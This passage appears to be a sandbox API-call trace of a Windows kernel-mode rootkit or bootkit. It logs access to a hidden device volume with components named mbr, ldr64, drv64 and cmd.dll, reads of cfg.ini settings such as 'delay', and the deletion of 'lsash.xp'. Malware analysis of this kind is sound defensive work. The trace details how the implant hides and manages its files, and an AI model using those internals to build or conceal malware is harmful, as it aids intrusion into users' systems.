[0124.400] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.400] KeEnterCriticalRegion () [0124.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.400] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.400] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bef950, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.400] KeLeaveCriticalRegion () [0124.400] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.400] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.400] KeEnterCriticalRegion () [0124.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.400] ExFreePoolWithTag (P=0xfffffa8003beef10, Tag=0x0) [0124.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.400] KeLeaveCriticalRegion () [0124.400] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.400] ReleaseMutex (hMutex=0xf0) returned 1 [0124.400] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.400] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.400] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.400] KeEnterCriticalRegion () [0124.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.400] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.400] IdePortDispatch () returned 0x103 [0124.400] KeWaitForMutexObject () returned 0x0 [0124.401] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.401] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.401] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.401] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.401] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.401] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1d60 [0124.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.401] KeLeaveCriticalRegion () [0124.401] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.401] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.401] KeEnterCriticalRegion () [0124.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.401] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.401] KeLeaveCriticalRegion () [0124.401] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.401] KeEnterCriticalRegion () [0124.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.401] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.401] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.401] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.401] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.401] IdePortDispatch () returned 0x103 [0124.401] KeWaitForMutexObject () returned 0x0 [0124.401] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.401] KeLeaveCriticalRegion () [0124.401] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.401] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.401] KeEnterCriticalRegion () [0124.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.401] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800354a000 [0124.402] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.402] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.402] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.402] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.402] IdePortDispatch () returned 0x103 [0124.402] KeWaitForMutexObject () returned 0x0 [0124.402] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.402] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.402] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.402] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.402] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.402] IdePortDispatch () returned 0x103 [0124.402] KeWaitForMutexObject () returned 0x0 [0124.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.402] KeLeaveCriticalRegion () [0124.402] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.403] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.403] KeEnterCriticalRegion () [0124.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.403] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.403] KeLeaveCriticalRegion () [0124.403] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.403] KeEnterCriticalRegion () [0124.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.403] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.403] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1e20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.403] KeLeaveCriticalRegion () [0124.403] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.403] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.403] KeEnterCriticalRegion () [0124.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.403] ExFreePoolWithTag (P=0xfffffa8003bf1d60, Tag=0x0) [0124.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.403] KeLeaveCriticalRegion () [0124.403] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.403] ReleaseMutex (hMutex=0xf0) returned 1 [0124.403] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.403] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.403] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.403] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.403] KeEnterCriticalRegion () [0124.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.403] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.403] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.403] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.403] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.403] IdePortDispatch () returned 0x103 [0124.404] KeWaitForMutexObject () returned 0x0 [0124.404] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.404] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.404] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.404] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.404] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.404] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.404] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.404] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.404] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.404] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.404] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.404] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.404] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.404] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.404] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.404] KeLeaveCriticalRegion () [0124.404] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.404] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.404] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.404] KeEnterCriticalRegion () [0124.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.404] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.404] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.404] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.404] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.404] IdePortDispatch () returned 0x103 [0124.404] KeWaitForMutexObject () returned 0x0 [0124.404] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.404] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.404] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.404] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.404] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.404] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.404] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.404] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.404] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.404] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.405] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.405] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.405] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.405] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.405] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.405] KeLeaveCriticalRegion () [0124.405] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.405] ReleaseMutex (hMutex=0x100) returned 1 [0124.405] Sleep (dwMilliseconds=0x2bf20) [0124.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d598d70, dwHighDateTime=0x1d24fa4)) [0124.411] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.411] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.411] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.411] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.411] KeEnterCriticalRegion () [0124.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.411] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.411] IdePortDispatch () returned 0x103 [0124.411] KeWaitForMutexObject () returned 0x0 [0124.411] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.411] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.411] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.411] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.411] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.411] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf0ec0 [0124.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.411] KeLeaveCriticalRegion () [0124.411] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.412] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.412] KeEnterCriticalRegion () [0124.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.412] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.412] KeLeaveCriticalRegion () [0124.412] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.412] KeEnterCriticalRegion () [0124.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.412] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.412] IdePortDispatch () returned 0x103 [0124.412] KeWaitForMutexObject () returned 0x0 [0124.412] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.412] KeLeaveCriticalRegion () [0124.412] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.412] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.412] KeEnterCriticalRegion () [0124.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.412] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800354d000 [0124.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.412] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.412] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.412] IdePortDispatch () returned 0x103 [0124.413] KeWaitForMutexObject () returned 0x0 [0124.413] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.413] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.413] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.413] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.413] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.413] IdePortDispatch () returned 0x103 [0124.413] KeWaitForMutexObject () returned 0x0 [0124.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.413] KeLeaveCriticalRegion () [0124.413] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.413] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.413] KeEnterCriticalRegion () [0124.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.413] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.413] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.413] KeLeaveCriticalRegion () [0124.413] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.413] KeEnterCriticalRegion () [0124.413] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.414] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.414] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.414] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.414] KeLeaveCriticalRegion () [0124.414] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.414] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.414] KeEnterCriticalRegion () [0124.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.414] ExFreePoolWithTag (P=0xfffffa8003bf0ec0, Tag=0x0) [0124.414] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.414] KeLeaveCriticalRegion () [0124.414] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.414] ReleaseMutex (hMutex=0xf0) returned 1 [0124.414] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.414] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.414] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.414] KeEnterCriticalRegion () [0124.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.414] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.414] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.414] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.414] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.414] IdePortDispatch () returned 0x103 [0124.414] KeWaitForMutexObject () returned 0x0 [0124.414] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.414] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.414] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.414] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.414] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.414] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1750 [0124.414] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.414] KeLeaveCriticalRegion () [0124.414] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.414] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.414] KeEnterCriticalRegion () [0124.414] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.414] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.414] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.415] KeLeaveCriticalRegion () [0124.415] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.415] KeEnterCriticalRegion () [0124.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.415] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.415] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.415] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.415] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: 